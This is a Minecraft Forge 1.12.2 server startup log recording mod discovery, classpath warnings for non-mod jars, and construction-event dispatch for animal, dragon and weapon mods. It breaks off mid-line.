techguns(Techguns:2.0.2.0): techguns-1.12.2-2.0.2.0_pre3.1.jar (required:forge@[14.23.5.2807,);after:ftblib;after:chisel;after:patchouli) [14:28:00] [Server thread/DEBUG] [FML]: ultimate_unicorn_mod(Wings, Horns, and Hooves, the Ultimate Unicorn Mod!:1.5.16): ultimate_unicorn_mod-1.12.2-1.5.16.jar () [14:28:00] [Server thread/DEBUG] [FML]: wings(Wings:1.1.6): wings-1.1.6-1.12.2.jar () [14:28:00] [Server thread/DEBUG] [FML]: mowzies_wings(Mowzie's Wings:1.0.0): wings-1.1.6-1.12.2.jar (required-after:wings;after:mowziesmobs) [14:28:00] [Server thread/DEBUG] [FML]: zawa(Zoo and Wild Animals Mod: Rebuilt:1.12.2-1.7.0): zawa-1.12.2-1.7.0.jar (required-after:bookworm@[1.12.2-2.2.0,);) [14:28:00] [Server thread/DEBUG] [FML]: claimitapi(ClaimIt API:1.12.2-1.2.0): claimitapi-1.12.2-1.2.0.jar () [14:28:00] [Server thread/DEBUG] [FML]: claimit(ClaimIt:1.12.2-1.2.0): claimit-1.12.2-1.2.0.jar (after-required:claimitapi@[1.12.2-1.2.0]) [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-models(API: ctm-api-models:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-textures(API: ctm-api-textures:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: jeresources|API(API: jeresources|API:0.9.2.60): JustEnoughResources-1.12.2-0.9.2.60.jar () [14:28:00] [Server thread/DEBUG] [FML]: spartanweaponry_api(API: spartanweaponry_api:5): SpartanWeaponry-1.12.2-beta-1.3.8.jar () [14:28:00] [Server thread/DEBUG] [FML]: JustEnoughItemsAPI(API: JustEnoughItemsAPI:4.13.0): jei_1.12.2-4.15.0.292.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-events(API: ctm-api-events:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api(API: ctm-api:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/DEBUG] [FML]: ctm-api-utils(API: ctm-api-utils:0.1.0): CTM-MC1.12.2-1.0.1.30.jar () [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file BackTools-1.12.2-7.0.1.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file CTM-MC1.12.2-1.0.1.30.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file JustEnoughResources-1.12.2-0.9.2.60.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/INFO] [FML]: FML has found a non-mod file torohealth-1.12.2-11.jar in your mods directory. It will now be injected into your classpath. This could severe stability issues, it should be removed if possible. [14:28:00] [Server thread/DEBUG] [FML]: Loading @Config anotation data [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod minecraft [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft took 0.002s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod mcp [14:28:00] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Coder Pack took 0.001s [14:28:00] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod FML [14:28:01] [Server thread/TRACE] [FML]: Mod FML is using network checker : Invoking method checkModLists [14:28:01] [Server thread/TRACE] [FML]: Testing mod FML to verify it accepts its own version in a remote connection [14:28:01] [Server thread/TRACE] [FML]: The mod FML accepts its own version (8.0.99.99) [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at CLIENT [14:28:01] [Server thread/INFO] [FML]: Attempting connection with missing mods [minecraft, mcp, FML, forge, techguns_core, animania, betteranimalsplus, bookworm, colorchat, craftstudioapi, cw, dragonmounts, extragems, horse_colors, iceandfire, ichunutil, imsm, jei, k4lib, landmanager, malisiscore, malisisdoors, mowziesmobs, sereneseasons, spartanfire, spartanshields, spartanweaponry, teamup, techguns, ultimate_unicorn_mod, mowzies_wings, wings, zawa, claimitapi, claimit, llibrary] at SERVER [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod FML [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Forge Mod Loader took 1.092s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [forge]: Loading Vanilla annotations: sun.net.www.protocol.jar.JarURLConnection$JarURLInputStream@c338668 [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$11 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$12 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$13 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$14 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/Minecraft$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/multiplayer/WorldClient$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/particle/ParticleManager$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/EntityRenderer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderGlobal$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/RenderItem$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureAtlasSprite$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureManager$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/client/renderer/texture/TextureMap$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReport$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/crash/CrashReportCategory$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/Entity$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/EntityTracker$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/entity/player/InventoryPlayer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/nbt/NBTTagCompound$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetHandlerPlayServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/network/NetworkSystem$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/MinecraftServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/dedicated/DedicatedServer$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/server/integrated/IntegratedServer$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/CommandBlockBaseLogic$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/tileentity/TileEntity$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/World$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/chunk/Chunk$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/gen/structure/MapGenStructure$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$10 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$2 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$3 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$4 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$5 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$6 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$7 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$8 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraft/world/storage/WorldInfo$9 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Alignment [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Column [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/common/util/TextTable$Row [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/client/SplashProgress$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/FMLCommonHandler$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/ICrashCallable [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/DEBUG] [forge]: net/minecraftforge/fml/common/Loader$1 [14:28:02] [Server thread/TRACE] [FML]: Mod forge is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod forge to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod forge accepts its own version (14.23.5.2847) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into forge for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod forge [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Minecraft Forge took 0.145s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod techguns_core [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Techguns Core took 0.000s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/TRACE] [FML]: Mod craftstudioapi is using network checker : Accepting version 1.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod craftstudioapi to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod craftstudioapi accepts its own version (1.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into craftstudioapi for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod craftstudioapi [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - CraftStudio API took 0.071s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod animania [14:28:02] [Server thread/TRACE] [FML]: Mod animania is using network checker : Accepting version 1.7.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod animania to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod animania accepts its own version (1.7.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into animania [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.Animania for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.Animania [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.animania.config.AnimaniaConfig$EventHandler for mod animania [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.animania.config.AnimaniaConfig$EventHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into animania for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod animania [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Animania took 0.158s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/TRACE] [FML]: Mod betteranimalsplus is using network checker : Accepting version 8.0.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod betteranimalsplus to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod betteranimalsplus accepts its own version (8.0.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.BetterAnimalsPlusMod for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.BetterAnimalsPlusMod [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.common.CommonEventHandler for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.common.CommonEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar for mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class its_meow.betteranimalsplus.init.BetterAnimalsPlusRegistrar [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into betteranimalsplus for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod betteranimalsplus [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Better Animals Plus took 0.097s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/TRACE] [FML]: Mod bookworm is using network checker : Accepting version 1.12.2-2.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod bookworm to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod bookworm accepts its own version (1.12.2-2.3.0) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into bookworm [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for bookworm [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.init.items.BookwormItems for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.init.items.BookwormItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for net.soggymustache.bookworm.common.entity.BookwormEntities for mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class net.soggymustache.bookworm.common.entity.BookwormEntities [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into bookworm for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod bookworm [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Bookworm API took 0.009s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/TRACE] [FML]: Mod k4lib is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod k4lib to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod k4lib accepts its own version (1.12.1-2.1.81) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for k4lib [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into k4lib for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod k4lib [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - K4Lib took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/TRACE] [FML]: Mod colorchat is using network checker : No network checking performed [14:28:02] [Server thread/TRACE] [FML]: Testing mod colorchat to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod colorchat accepts its own version (1.12.1-2.0.43) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for colorchat [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into colorchat for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod colorchat [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ColorChat took 0.025s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod cw [14:28:02] [Server thread/TRACE] [FML]: Mod cw is using network checker : Accepting version 1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod cw to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod cw accepts its own version (1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into cw [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for cw [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for cw.util.handlers.CWRegistryHandler for mod cw [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class cw.util.handlers.CWRegistryHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into cw for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod cw [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Creature Wisperer took 0.008s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/TRACE] [FML]: Mod dragonmounts is using network checker : Accepting version 1.12.2-1.6.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod dragonmounts to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod dragonmounts accepts its own version (1.12.2-1.6.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.event.RegistryEventHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.event.RegistryEventHandler [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler for mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.TheRPGAdventurer.ROTD.inits.ModSounds$RegistrationHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into dragonmounts for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod dragonmounts [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Dragon Mounts took 0.033s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/TRACE] [FML]: Mod extragems is using network checker : Accepting version 1.2.8 [14:28:02] [Server thread/TRACE] [FML]: Testing mod extragems to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod extragems accepts its own version (1.2.8) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into extragems [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for extragems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModBlocks for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModBlocks [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.main.ModItems for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.main.ModItems [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for xxrexraptorxx.extragems.util.RecipeHandler for mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class xxrexraptorxx.extragems.util.RecipeHandler [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into extragems for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod extragems [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - ExtraGems took 0.103s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/TRACE] [FML]: Mod horse_colors is using network checker : Accepting version 1.12.2-1.0.2 [14:28:02] [Server thread/TRACE] [FML]: Testing mod horse_colors to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod horse_colors accepts its own version (1.12.2-1.0.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into horse_colors for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod horse_colors [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Realistic Horse Genetics took 0.012s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/TRACE] [FML]: Mod llibrary is using network checker : Accepting version 1.7.19 [14:28:02] [Server thread/TRACE] [FML]: Testing mod llibrary to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod llibrary accepts its own version (1.7.19) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for llibrary [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into llibrary for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod llibrary [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - LLibrary took 0.045s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [forge]: Preloading CrashReport Classes [14:28:02] [Server thread/DEBUG] [forge]: com/github/alexthe666/iceandfire/client/particle/IceAndFireParticleSpawner$1 [14:28:02] [Server thread/TRACE] [FML]: Mod iceandfire is using network checker : Accepting version 1.8.3 [14:28:02] [Server thread/TRACE] [FML]: Testing mod iceandfire to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod iceandfire accepts its own version (1.8.3) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.ClientProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.ClientProxy [14:28:02] [Server thread/DEBUG] [FML]: Registering @EventBusSubscriber for com.github.alexthe666.iceandfire.CommonProxy for mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Injected @EventBusSubscriber class com.github.alexthe666.iceandfire.CommonProxy [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into iceandfire for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod iceandfire [14:28:02] [Server thread/DEBUG] [FML]: Bar Step: Construction - Ice and Fire took 0.190s [14:28:02] [Server thread/TRACE] [FML]: Sending event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/TRACE] [FML]: Mod ichunutil is using network checker : Accepting range 7.2.0 or above, and below 7.3.0 [14:28:02] [Server thread/TRACE] [FML]: Testing mod ichunutil to verify it accepts its own version in a remote connection [14:28:02] [Server thread/TRACE] [FML]: The mod ichunutil accepts its own version (7.2.2) [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @SidedProxy classes into ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @EventBusSubscriber classes into the eventbus for ichunutil [14:28:02] [Server thread/DEBUG] [FML]: Attempting to inject @Config classes into ichunutil for type INSTANCE [14:28:02] [Server thread/TRACE] [FML]: Sent event FMLConstructionEvent to mod ichunutil [14:28:02] [Server thread/DEBUG] 